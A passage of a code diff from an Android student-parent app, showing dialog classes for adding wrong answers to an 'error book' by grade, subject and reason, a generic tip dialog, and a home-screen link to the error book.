66 | super(context, R.style.MyAlertDialog); | ||
67 | this.context = context; | ||
68 | this.list = list; | ||
69 | this.editInterface = editInterface; | ||
70 | } | ||
71 | |||
72 | @Override | ||
73 | protected void onCreate(Bundle savedInstanceState) { | ||
74 | super.onCreate(savedInstanceState); | ||
75 | binding = DialogEditErrorBinding.inflate(getLayoutInflater()); | ||
76 | setContentView(binding.getRoot()); | ||
77 | Window dialogWindow = getWindow(); | ||
78 | WindowManager.LayoutParams lp = dialogWindow.getAttributes(); | ||
79 | lp.width = CommonUtil.getScreenWidth(getContext()); | ||
80 | dialogWindow.setGravity(Gravity.BOTTOM); | ||
81 | dialogWindow.setAttributes(lp); | ||
82 | List<String> grades = new ArrayList<>(); | ||
83 | for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) { | ||
84 | grades.add(grade.getGrade().getGrade()); | ||
85 | } | ||
86 | ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades); | ||
87 | binding.spinnerGrade.setAdapter(gradeAdapter); | ||
88 | binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
89 | @Override | ||
90 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
91 | grade = App.getInstance().getGradeAndSubjects().get(position).getGrade(); | ||
92 | refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects()); | ||
93 | } | ||
94 | |||
95 | @Override | ||
96 | public void onNothingSelected(AdapterView<?> parent) { | ||
97 | |||
98 | } | ||
99 | }); | ||
100 | ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason)); | ||
101 | binding.spinnerReason.setAdapter(reasonAdapter); | ||
102 | binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
103 | @Override | ||
104 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
105 | reason = position; | ||
106 | } | ||
107 | |||
108 | @Override | ||
109 | public void onNothingSelected(AdapterView<?> parent) { | ||
110 | |||
111 | } | ||
112 | }); | ||
113 | RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type); | ||
114 | typeButton.setChecked(true); | ||
115 | binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { | ||
116 | @Override | ||
117 | public void onCheckedChanged(RadioGroup group, int checkedId) { | ||
118 | RadioButton rcheck = (RadioButton) findViewById(checkedId); | ||
119 | type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1; | ||
120 | } | ||
121 | }); | ||
122 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
123 | @Override | ||
124 | public void onClick(View v) { | ||
125 | dismiss(); | ||
126 | } | ||
127 | }); | ||
128 | binding.addTopic.setOnClickListener(new View.OnClickListener() { | ||
129 | @Override | ||
130 | public void onClick(View v) { | ||
131 | editError(); | ||
132 | } | ||
133 | }); | ||
134 | } | ||
135 | |||
136 | private void editError() { | ||
137 | List<HashMap<String, Object>> hashMapArrayList = new ArrayList<>(); | ||
138 | for (TopicBean topicBean : list) { | ||
139 | HashMap<String, Object> map = new HashMap<>(); | ||
140 | map.put("bookId", topicBean.getId()); | ||
141 | map.put("grade", grade.getGrade()); | ||
142 | map.put("subject", subject.getSubject()); | ||
143 | map.put("errorReason", String.valueOf(reason)); | ||
144 | map.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题"); | ||
145 | map.put("type", type); | ||
146 | hashMapArrayList.add(map); | ||
147 | } | ||
148 | NetWorks.editError(hashMapArrayList, new Observer<ResponseResult>() { | ||
149 | @Override | ||
150 | public void onSubscribe(Disposable d) { | ||
151 | |||
152 | } | ||
153 | |||
154 | @Override | ||
155 | public void onNext(ResponseResult responseResult) { | ||
156 | if (responseResult.getCode() == 200) { | ||
157 | editInterface.edit(grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题", reason); | ||
158 | dismiss(); | ||
159 | } | ||
160 | } | ||
161 | |||
162 | @Override | ||
163 | public void onError(Throwable e) { | ||
164 | |||
165 | } | ||
166 | |||
167 | @Override | ||
168 | public void onComplete() { | ||
169 | |||
170 | } | ||
171 | }); | ||
172 | } | ||
173 | |||
174 | private void refreshSubject(List<Subject> subjects) { | ||
175 | List<String> s = new ArrayList<>(); | ||
176 | for (Subject subject : subjects) { | ||
177 | s.add(subject.getSubject()); | ||
178 | } | ||
179 | ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s); | ||
180 | binding.spinnerSubject.setAdapter(subjectAdapter); | ||
181 | binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
182 | @Override | ||
183 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
184 | subject = subjects.get(position); | ||
185 | } | ||
186 | |||
187 | @Override | ||
188 | public void onNothingSelected(AdapterView<?> parent) { | ||
189 | |||
190 | } | ||
191 | }); | ||
192 | } | ||
193 | |||
194 | } | ||
195 |
app/src/main/java/com/hjx/parent/dialog/ErrorInputDialog.java
File was created | 1 | package com.hjx.parent.dialog; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.Context; | ||
5 | import android.content.Intent; | ||
6 | import android.graphics.Color; | ||
7 | import android.graphics.drawable.Drawable; | ||
8 | import android.os.Bundle; | ||
9 | import android.view.Gravity; | ||
10 | import android.view.View; | ||
11 | import android.view.Window; | ||
12 | import android.view.WindowManager; | ||
13 | import android.widget.AdapterView; | ||
14 | import android.widget.ArrayAdapter; | ||
15 | import android.widget.CompoundButton; | ||
16 | import android.widget.RadioButton; | ||
17 | import android.widget.RadioGroup; | ||
18 | |||
19 | import androidx.annotation.NonNull; | ||
20 | import androidx.recyclerview.widget.LinearLayoutManager; | ||
21 | import androidx.recyclerview.widget.RecyclerView; | ||
22 | |||
23 | import com.bumptech.glide.Glide; | ||
24 | import com.chad.library.adapter.base.BaseQuickAdapter; | ||
25 | import com.chad.library.adapter.base.BaseViewHolder; | ||
26 | import com.google.gson.Gson; | ||
27 | import com.hjx.parent.AddSuccessActivity; | ||
28 | import com.hjx.parent.App; | ||
29 | import com.hjx.parent.ImageActivity; | ||
30 | import com.hjx.parent.R; | ||
31 | import com.hjx.parent.bean.StudentBean; | ||
32 | import com.hjx.parent.databinding.DialogAddErrorBinding; | ||
33 | import com.prws.common.bean.Grade; | ||
34 | import com.prws.common.bean.GradeAndSubject; | ||
35 | import com.prws.common.bean.ResponseResult; | ||
36 | import com.prws.common.bean.Subject; | ||
37 | import com.prws.common.bean.TopicBean; | ||
38 | import com.prws.common.net.NetWorks; | ||
39 | import com.prws.common.utils.CommonUtil; | ||
40 | import com.prws.common.utils.SharedPreferencesUtil; | ||
41 | import com.prws.common.utils.StringUtils; | ||
42 | |||
43 | import java.util.ArrayList; | ||
44 | import java.util.HashMap; | ||
45 | import java.util.List; | ||
46 | import java.util.Map; | ||
47 | |||
48 | import io.reactivex.Observer; | ||
49 | import io.reactivex.disposables.Disposable; | ||
50 | |||
51 | public class ErrorInputDialog extends Dialog { | ||
52 | private ImageActivity context; | ||
53 | private DialogAddErrorBinding binding; | ||
54 | private List<TopicBean> list; | ||
55 | private int select = 0; | ||
56 | private Grade grade; | ||
57 | private Subject subject; | ||
58 | private int reason; | ||
59 | private int type = 0; | ||
60 | BaseQuickAdapter adapter; | ||
61 | |||
62 | public ErrorInputDialog(@NonNull ImageActivity context, List<TopicBean> list) { | ||
63 | super(context, R.style.MyAlertDialog); | ||
64 | this.context = context; | ||
65 | this.list = list; | ||
66 | } | ||
67 | |||
68 | @Override | ||
69 | protected void onCreate(Bundle savedInstanceState) { | ||
70 | super.onCreate(savedInstanceState); | ||
71 | binding = DialogAddErrorBinding.inflate(getLayoutInflater()); | ||
72 | setContentView(binding.getRoot()); | ||
73 | Window dialogWindow = getWindow(); | ||
74 | WindowManager.LayoutParams lp = dialogWindow.getAttributes(); | ||
75 | lp.width = CommonUtil.getScreenWidth(getContext()); | ||
76 | dialogWindow.setGravity(Gravity.BOTTOM); | ||
77 | dialogWindow.setAttributes(lp); | ||
78 | adapter = new BaseQuickAdapter(R.layout.item_topic, list) { | ||
79 | @Override | ||
80 | protected void convert(@NonNull BaseViewHolder item, Object o) { | ||
81 | int position = item.getAdapterPosition(); | ||
82 | item.setText(R.id.tv_name, context.getString(R.string.num_topic, StringUtils.intToChinese(position + 1))); | ||
83 | if (list.get(position).isFinish()) { | ||
84 | item.setGone(R.id.iv_click, true); | ||
85 | item.setBackgroundRes(R.id.tv_name, R.drawable.topic_finish_bg); | ||
86 | item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3")); | ||
87 | } else if (select == position) { | ||
88 | item.setGone(R.id.iv_click, false); | ||
89 | item.setBackgroundRes(R.id.tv_name, R.drawable.button_select_topic_bg); | ||
90 | item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3")); | ||
91 | } else { | ||
92 | item.setGone(R.id.iv_click, false); | ||
93 | item.setBackgroundRes(R.id.tv_name, R.drawable.button_topic_bg); | ||
94 | item.setTextColor(R.id.tv_name, Color.parseColor("#999999")); | ||
95 | } | ||
96 | item.getConvertView().setOnClickListener(new View.OnClickListener() { | ||
97 | @Override | ||
98 | public void onClick(View v) { | ||
99 | select = position; | ||
100 | loadError(); | ||
101 | notifyDataSetChanged(); | ||
102 | } | ||
103 | }); | ||
104 | } | ||
105 | |||
106 | @Override | ||
107 | public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { | ||
108 | |||
109 | } | ||
110 | }; | ||
111 | binding.listItem.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false)); | ||
112 | binding.listItem.setAdapter(adapter); | ||
113 | List<String> grades = new ArrayList<>(); | ||
114 | for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) { | ||
115 | grades.add(grade.getGrade().getGrade()); | ||
116 | } | ||
117 | ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades); | ||
118 | binding.spinnerGrade.setAdapter(gradeAdapter); | ||
119 | binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
120 | @Override | ||
121 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
122 | grade = App.getInstance().getGradeAndSubjects().get(position).getGrade(); | ||
123 | refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects()); | ||
124 | } | ||
125 | |||
126 | @Override | ||
127 | public void onNothingSelected(AdapterView<?> parent) { | ||
128 | |||
129 | } | ||
130 | }); | ||
131 | ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason)); | ||
132 | binding.spinnerReason.setAdapter(reasonAdapter); | ||
133 | binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
134 | @Override | ||
135 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
136 | reason = position; | ||
137 | } | ||
138 | |||
139 | @Override | ||
140 | public void onNothingSelected(AdapterView<?> parent) { | ||
141 | |||
142 | } | ||
143 | }); | ||
144 | RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type); | ||
145 | typeButton.setChecked(true); | ||
146 | binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { | ||
147 | @Override | ||
148 | public void onCheckedChanged(RadioGroup group, int checkedId) { | ||
149 | RadioButton rcheck = (RadioButton) findViewById(checkedId); | ||
150 | type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1; | ||
151 | list.get(select).setType(type); | ||
152 | } | ||
153 | }); | ||
154 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
155 | @Override | ||
156 | public void onClick(View v) { | ||
157 | dismiss(); | ||
158 | } | ||
159 | }); | ||
160 | binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { | ||
161 | @Override | ||
162 | public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { | ||
163 | if (isChecked) { | ||
164 | binding.addTopic.setText("全部加入错题本"); | ||
165 | } else { | ||
166 | binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本"); | ||
167 | } | ||
168 | } | ||
169 | }); | ||
170 | binding.addTopic.setOnClickListener(new View.OnClickListener() { | ||
171 | @Override | ||
172 | public void onClick(View v) { | ||
173 | if (binding.checkbox.isChecked()) { | ||
174 | for (TopicBean topicBean : list) { | ||
175 | addTopic(topicBean); | ||
176 | } | ||
177 | } else { | ||
178 | addTopic(list.get(select)); | ||
179 | } | ||
180 | } | ||
181 | }); | ||
182 | loadError(); | ||
183 | } | ||
184 | |||
185 | private void refreshSubject(List<Subject> subjects) { | ||
186 | List<String> s = new ArrayList<>(); | ||
187 | for (Subject subject : subjects) { | ||
188 | s.add(subject.getSubject()); | ||
189 | } | ||
190 | ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s); | ||
191 | binding.spinnerSubject.setAdapter(subjectAdapter); | ||
192 | binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
193 | @Override | ||
194 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
195 | subject = subjects.get(position); | ||
196 | } | ||
197 | |||
198 | @Override | ||
199 | public void onNothingSelected(AdapterView<?> parent) { | ||
200 | |||
201 | } | ||
202 | }); | ||
203 | } | ||
204 | |||
205 | private void loadError() { | ||
206 | TopicBean bean = list.get(select); | ||
207 | Glide.with(getContext()).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(getContext(), 40), CommonUtil.dpToPx(getContext(), 90)).fitCenter().into(binding.ivTopic); | ||
208 | if (!binding.checkbox.isChecked()) { | ||
209 | binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本"); | ||
210 | } | ||
211 | } | ||
212 | |||
213 | private void addTopic(TopicBean bean) { | ||
214 | if (!bean.isFinish()) { | ||
215 | bean.setId(String.valueOf(System.currentTimeMillis())); | ||
216 | bean.setDate(String.valueOf(System.currentTimeMillis())); | ||
217 | bean.setGrade(grade.getGrade()); | ||
218 | bean.setType(type); | ||
219 | bean.setSubject(subject.getSubject()); | ||
220 | String student = (String) SharedPreferencesUtil.getData("student", ""); | ||
221 | StudentBean studentBean = new Gson().fromJson(student, StudentBean.class); | ||
222 | Map<String, String> param = new HashMap<>(); | ||
223 | param.put("bookId", bean.getId()); | ||
224 | param.put("stuId", studentBean.getStuId()); | ||
225 | param.put("errorReason", String.valueOf(reason)); | ||
226 | param.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题"); | ||
227 | param.put("subject", bean.getSubject()); | ||
228 | param.put("grade", bean.getGrade()); | ||
229 | param.put("type", String.valueOf(bean.getType())); | ||
230 | param.put("teacherFlag", "0"); | ||
231 | param.put("controlFlag", "1"); | ||
232 | NetWorks.addError(bean.getPath(), param, new Observer<ResponseResult>() { | ||
233 | @Override | ||
234 | public void onSubscribe(Disposable d) { | ||
235 | |||
236 | } | ||
237 | |||
238 | @Override | ||
239 | public void onNext(ResponseResult responseResult) { | ||
240 | if (responseResult.getCode() == 200) { | ||
241 | bean.setFinish(true); | ||
242 | boolean isAllAdd = true; | ||
243 | for (int i = 0; i < list.size(); i++) { | ||
244 | if (!list.get(i).isFinish()) { | ||
245 | select = i; | ||
246 | adapter.notifyDataSetChanged(); | ||
247 | isAllAdd = false; | ||
248 | loadError(); | ||
249 | break; | ||
250 | } | ||
251 | } | ||
252 | if (isAllAdd) { | ||
253 | dismiss(); | ||
254 | Intent intent = new Intent(context, AddSuccessActivity.class); | ||
255 | context.startActivity(intent); | ||
256 | context.finish(); | ||
257 | } | ||
258 | } | ||
259 | } | ||
260 | |||
261 | @Override | ||
262 | public void onError(Throwable e) { | ||
263 | |||
264 | } | ||
265 | |||
266 | @Override | ||
267 | public void onComplete() { | ||
268 | |||
269 | } | ||
270 | }); | ||
271 | } | ||
272 | } | ||
273 | } | ||
274 |
app/src/main/java/com/hjx/parent/dialog/TipDialog.java
File was created | 1 | package com.hjx.parent.dialog; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.Context; | ||
5 | import android.os.Bundle; | ||
6 | import android.view.View; | ||
7 | import android.view.Window; | ||
8 | import android.view.WindowManager; | ||
9 | |||
10 | import androidx.annotation.NonNull; | ||
11 | |||
12 | import com.hjx.parent.R; | ||
13 | import com.hjx.parent.databinding.DialogTipBinding; | ||
14 | import com.prws.common.utils.CommonUtil; | ||
15 | |||
16 | |||
17 | public class TipDialog extends Dialog { | ||
18 | private Context context; | ||
19 | private DialogTipBinding binding; | ||
20 | private TipDialogInterface dialogInterface; | ||
21 | private String title; | ||
22 | private String content; | ||
23 | private String confirm; | ||
24 | private String cancel; | ||
25 | |||
26 | public TipDialog(@NonNull Context context, String title, String content, String confirm, String cancel, TipDialogInterface dialogInterface) { | ||
27 | super(context, R.style.MyAlertDialog); | ||
28 | this.context = context; | ||
29 | this.dialogInterface = dialogInterface; | ||
30 | this.title = title; | ||
31 | this.content = content; | ||
32 | this.confirm = confirm; | ||
33 | this.cancel = cancel; | ||
34 | } | ||
35 | |||
36 | @Override | ||
37 | protected void onCreate(Bundle savedInstanceState) { | ||
38 | super.onCreate(savedInstanceState); | ||
39 | binding = DialogTipBinding.inflate(getLayoutInflater()); | ||
40 | setContentView(binding.getRoot()); | ||
41 | this.setCancelable(true); | ||
42 | Window dialogWindow = getWindow(); | ||
43 | WindowManager.LayoutParams lp = dialogWindow.getAttributes(); | ||
44 | lp.width = CommonUtil.getScreenWidth(getContext()); | ||
45 | lp.height = CommonUtil.getRawScreenSize(getContext())[1]; | ||
46 | dialogWindow.setAttributes(lp); | ||
47 | binding.tvCancel.setText(cancel); | ||
48 | binding.tvCancel.setOnClickListener(new View.OnClickListener() { | ||
49 | @Override | ||
50 | public void onClick(View view) { | ||
51 | dialogInterface.onCancel(TipDialog.this); | ||
52 | } | ||
53 | }); | ||
54 | binding.tvConfirm.setText(confirm); | ||
55 | binding.tvConfirm.setOnClickListener(new View.OnClickListener() { | ||
56 | @Override | ||
57 | public void onClick(View view) { | ||
58 | dialogInterface.onConfirm(TipDialog.this); | ||
59 | } | ||
60 | }); | ||
61 | binding.tvTitle.setText(title); | ||
62 | binding.tvContent.setText(content); | ||
63 | } | ||
64 | |||
65 | public interface TipDialogInterface { | ||
66 | void onConfirm(Dialog dialog); | ||
67 | |||
68 | void onCancel(Dialog dialog); | ||
69 | } | ||
70 | } | ||
71 |
app/src/main/java/com/hjx/parent/fragment/HomeFragment.java
1 | package com.hjx.parent.fragment; | 1 | package com.hjx.parent.fragment; |
2 | 2 | ||
3 | import android.content.Intent; | 3 | import android.content.Intent; |
4 | import android.os.Bundle; | 4 | import android.os.Bundle; |
5 | import android.text.TextUtils; | 5 | import android.text.TextUtils; |
6 | import android.view.LayoutInflater; | 6 | import android.view.LayoutInflater; |
7 | import android.view.View; | 7 | import android.view.View; |
8 | import android.widget.ImageView; | 8 | import android.widget.ImageView; |
9 | import android.widget.LinearLayout; | 9 | import android.widget.LinearLayout; |
10 | import android.widget.TextView; | 10 | import android.widget.TextView; |
11 | import android.widget.Toast; | 11 | import android.widget.Toast; |
12 | 12 | ||
13 | import androidx.annotation.NonNull; | 13 | import androidx.annotation.NonNull; |
14 | import androidx.annotation.Nullable; | 14 | import androidx.annotation.Nullable; |
15 | import androidx.recyclerview.widget.LinearLayoutManager; | 15 | import androidx.recyclerview.widget.LinearLayoutManager; |
16 | import androidx.recyclerview.widget.RecyclerView; | 16 | import androidx.recyclerview.widget.RecyclerView; |
17 | 17 | ||
18 | import com.bumptech.glide.Glide; | 18 | import com.bumptech.glide.Glide; |
19 | import com.bumptech.glide.load.resource.bitmap.RoundedCorners; | 19 | import com.bumptech.glide.load.resource.bitmap.RoundedCorners; |
20 | import com.bumptech.glide.request.RequestOptions; | 20 | import com.bumptech.glide.request.RequestOptions; |
21 | import com.chad.library.adapter.base.BaseQuickAdapter; | 21 | import com.chad.library.adapter.base.BaseQuickAdapter; |
22 | import com.chad.library.adapter.base.BaseViewHolder; | 22 | import com.chad.library.adapter.base.BaseViewHolder; |
23 | import com.google.gson.Gson; | 23 | import com.google.gson.Gson; |
24 | import com.hjq.permissions.OnPermissionCallback; | 24 | import com.hjq.permissions.OnPermissionCallback; |
25 | import com.hjq.permissions.Permission; | 25 | import com.hjq.permissions.Permission; |
26 | import com.hjq.permissions.XXPermissions; | 26 | import com.hjq.permissions.XXPermissions; |
27 | import com.hjx.parent.ChooseActivity; | 27 | import com.hjx.parent.ChooseActivity; |
28 | import com.hjx.parent.ErrorBookActivity; | ||
28 | import com.hjx.parent.QRActivity; | 29 | import com.hjx.parent.QRActivity; |
29 | import com.hjx.parent.R; | 30 | import com.hjx.parent.R; |
30 | import com.hjx.parent.bean.StudentBean; | 31 | import com.hjx.parent.bean.StudentBean; |
31 | import com.prws.common.base.BaseFragment; | 32 | import com.prws.common.base.BaseFragment; |
32 | import com.prws.common.bean.ResponseResult; | 33 | import com.prws.common.bean.ResponseResult; |
33 | import com.prws.common.bean.ScheduleBean; | 34 | import com.prws.common.bean.ScheduleBean; |
34 | import com.prws.common.bean.Video; | 35 | import com.prws.common.bean.Video; |
35 | import com.prws.common.net.NetWorks; | 36 | import com.prws.common.net.NetWorks; |
36 | import com.prws.common.utils.ScreenUtils; | 37 | import com.prws.common.utils.ScreenUtils; |
37 | import com.prws.common.utils.SharedPreferencesUtil; | 38 | import com.prws.common.utils.SharedPreferencesUtil; |
38 | import com.uuzuche.lib_zxing.activity.CaptureActivity; | 39 | import com.uuzuche.lib_zxing.activity.CaptureActivity; |
39 | import com.uuzuche.lib_zxing.activity.CodeUtils; | 40 | import com.uuzuche.lib_zxing.activity.CodeUtils; |
40 | 41 | ||
41 | import java.text.SimpleDateFormat; | 42 | import java.text.SimpleDateFormat; |
42 | import java.util.ArrayList; | 43 | import java.util.ArrayList; |
43 | import java.util.List; | 44 | import java.util.List; |
44 | 45 | ||
45 | import butterknife.BindView; | 46 | import butterknife.BindView; |
46 | import butterknife.OnClick; | 47 | import butterknife.OnClick; |
47 | import io.reactivex.Observer; | 48 | import io.reactivex.Observer; |
48 | import io.reactivex.disposables.Disposable; | 49 | import io.reactivex.disposables.Disposable; |
49 | 50 | ||
50 | public class HomeFragment extends BaseFragment { | 51 | public class HomeFragment extends BaseFragment { |
51 | @Override | 52 | @Override |
52 | protected int getLayoutRes() { | 53 | protected int getLayoutRes() { |
53 | return R.layout.fragment_home; | 54 | return R.layout.fragment_home; |
54 | } | 55 | } |
55 | 56 | ||
56 | ImageView iv_sapmiao; | 57 | ImageView iv_sapmiao; |
57 | TextView tv_name; | 58 | TextView tv_name; |
58 | StudentBean studentBean; | 59 | StudentBean studentBean; |
59 | ImageView iv_2; | 60 | ImageView iv_2; |
60 | @BindView(R.id.recycle) | 61 | @BindView(R.id.recycle) |
61 | RecyclerView recyclerView; | 62 | RecyclerView recyclerView; |
62 | @BindView(R.id.tv_empty) | 63 | @BindView(R.id.tv_empty) |
63 | TextView tv_empty; | 64 | TextView tv_empty; |
64 | @BindView(R.id.iv_empty) | 65 | @BindView(R.id.iv_empty) |
65 | ImageView iv_empty; | 66 | ImageView iv_empty; |
66 | 67 | ||
67 | @Override | 68 | @Override |
68 | protected void initDatas() { | 69 | protected void initDatas() { |
69 | super.initDatas(); | 70 | super.initDatas(); |
70 | iv_2 = mRootView.findViewById(R.id.iv_2); | 71 | iv_2 = mRootView.findViewById(R.id.iv_2); |
71 | iv_sapmiao = mRootView.findViewById(R.id.iv_sapmiao); | 72 | iv_sapmiao = mRootView.findViewById(R.id.iv_sapmiao); |
72 | tv_name = mRootView.findViewById(R.id.tv_name); | 73 | tv_name = mRootView.findViewById(R.id.tv_name); |
73 | iv_sapmiao.setOnClickListener(view -> { | 74 | iv_sapmiao.setOnClickListener(view -> { |
74 | if (!XXPermissions.isGranted(getActivity(), Permission.CAMERA)) { | 75 | if (!XXPermissions.isGranted(getActivity(), Permission.CAMERA)) { |
75 | XXPermissions.with(getActivity()) | 76 | XXPermissions.with(getActivity()) |
76 | // 申请多个权限 | 77 | // 申请多个权限 |
77 | .permission(Permission.CAMERA) | 78 | .permission(Permission.CAMERA) |
78 | .request(new OnPermissionCallback() { | 79 | .request(new OnPermissionCallback() { |
79 | @Override | 80 | @Override |
80 | public void onGranted(List<String> permissions, boolean all) { | 81 | public void onGranted(List<String> permissions, boolean all) { |
81 | if (all) { | 82 | if (all) { |
82 | //开启扫码界面 | 83 | //开启扫码界面 |
83 | startQRView(); | 84 | startQRView(); |
84 | 85 | ||
85 | 86 | ||
86 | } else { | 87 | } else { |
87 | Toast.makeText(getActivity(), "需要相机权限", Toast.LENGTH_SHORT).show(); | 88 | Toast.makeText(getActivity(), "需要相机权限", Toast.LENGTH_SHORT).show(); |
88 | } | 89 | } |
89 | } | 90 | } |
90 | 91 | ||
91 | @Override | 92 | @Override |
92 | public void onDenied(List<String> permissions, boolean never) { | 93 | public void onDenied(List<String> permissions, boolean never) { |
93 | XXPermissions.startPermissionActivity(getActivity(), permissions); | 94 | XXPermissions.startPermissionActivity(getActivity(), permissions); |
94 | } | 95 | } |
95 | }); | 96 | }); |
96 | } else { | 97 | } else { |
97 | startQRView(); | 98 | startQRView(); |
98 | } | 99 | } |
99 | 100 | ||
100 | }); | 101 | }); |
101 | } | 102 | } |
102 | 103 | ||
104 | @OnClick(R.id.ll_error) | ||
105 | public void goError(View view) { | ||
106 | Intent intent = new Intent(getActivity(), ErrorBookActivity.class); | ||
107 | startActivity(intent); | ||
108 | } | ||
103 | 109 | ||
104 | @Override | 110 | @Override |
105 | public void onResume() { | 111 | public void onResume() { |
106 | super.onResume(); | 112 | super.onResume(); |
107 | String student = (String) SharedPreferencesUtil.getData("student", ""); | 113 | String student = (String) SharedPreferencesUtil.getData("student", ""); |
108 | try { | 114 | try { |
109 | studentBean = new Gson().fromJson(student, StudentBean.class); | 115 | studentBean = new Gson().fromJson(student, StudentBean.class); |
110 | tv_name.setText(studentBean.getNickName()); | 116 | tv_name.setText(studentBean.getNickName()); |
111 | if (TextUtils.isEmpty(studentBean.getPhoto())) { | 117 | if (TextUtils.isEmpty(studentBean.getPhoto())) { |
112 | iv_2.setImageResource(studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); | 118 | iv_2.setImageResource(studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); |
113 | } else { | 119 | } else { |
114 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 20)); | 120 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 20)); |
115 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); | 121 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); |
116 | Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into(iv_2); | 122 | Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into(iv_2); |
117 | } | 123 | } |
118 | getWeekPlan(studentBean.getStuId()); | 124 | getWeekPlan(studentBean.getStuId()); |
119 | } catch (Exception e) { | 125 | } catch (Exception e) { |
120 | 126 | ||
121 | } | 127 | } |
122 | } | 128 | } |
123 | 129 | ||
124 | public void getWeekPlan(String id) { | 130 | public void getWeekPlan(String id) { |
125 | NetWorks.getWeekPlan(id, new Observer<ResponseResult<ScheduleBean>>() { | 131 | NetWorks.getWeekPlan(id, new Observer<ResponseResult<ScheduleBean>>() { |
126 | @Override | 132 | @Override |
127 | public void onSubscribe(Disposable d) { | 133 | public void onSubscribe(Disposable d) { |
128 | 134 | ||
129 | } | 135 | } |
130 | 136 | ||
131 | @Override | 137 | @Override |
132 | public void onNext(ResponseResult<ScheduleBean> result) { | 138 | public void onNext(ResponseResult<ScheduleBean> result) { |
133 | if (result != null && result.getCode() == 200) { | 139 | if (result != null && result.getCode() == 200) { |
134 | showWeekPlan(result.getData().getList()); | 140 | showWeekPlan(result.getData().getList()); |
135 | } | 141 | } |
136 | } | 142 | } |
137 | 143 | ||
138 | @Override | 144 | @Override |
139 | public void onError(Throwable e) { | 145 | public void onError(Throwable e) { |
140 | 146 | ||
141 | } | 147 | } |
142 | 148 | ||
143 | @Override | 149 | @Override |
144 | public void onComplete() { | 150 | public void onComplete() { |
145 | 151 | ||
146 | } | 152 | } |
147 | }); | 153 | }); |
148 | } | 154 | } |
149 | 155 | ||
150 | public void startQRView() { | 156 | public void startQRView() { |
151 | startActivityForResult(new Intent(getActivity(), QRActivity.class), 101); | 157 | startActivityForResult(new Intent(getActivity(), QRActivity.class), 101); |
152 | } | 158 | } |
153 | 159 | ||
154 | @Override | 160 | @Override |
155 | public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | 161 | public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { |
156 | super.onActivityResult(requestCode, resultCode, data); | 162 | super.onActivityResult(requestCode, resultCode, data); |
157 | if (requestCode == 101) { | 163 | if (requestCode == 101) { |
158 | if (null != data) { | 164 | if (null != data) { |
159 | Bundle bundle = data.getExtras(); | 165 | Bundle bundle = data.getExtras(); |
160 | if (bundle == null) { | 166 | if (bundle == null) { |
161 | return; | 167 | return; |
162 | } | 168 | } |
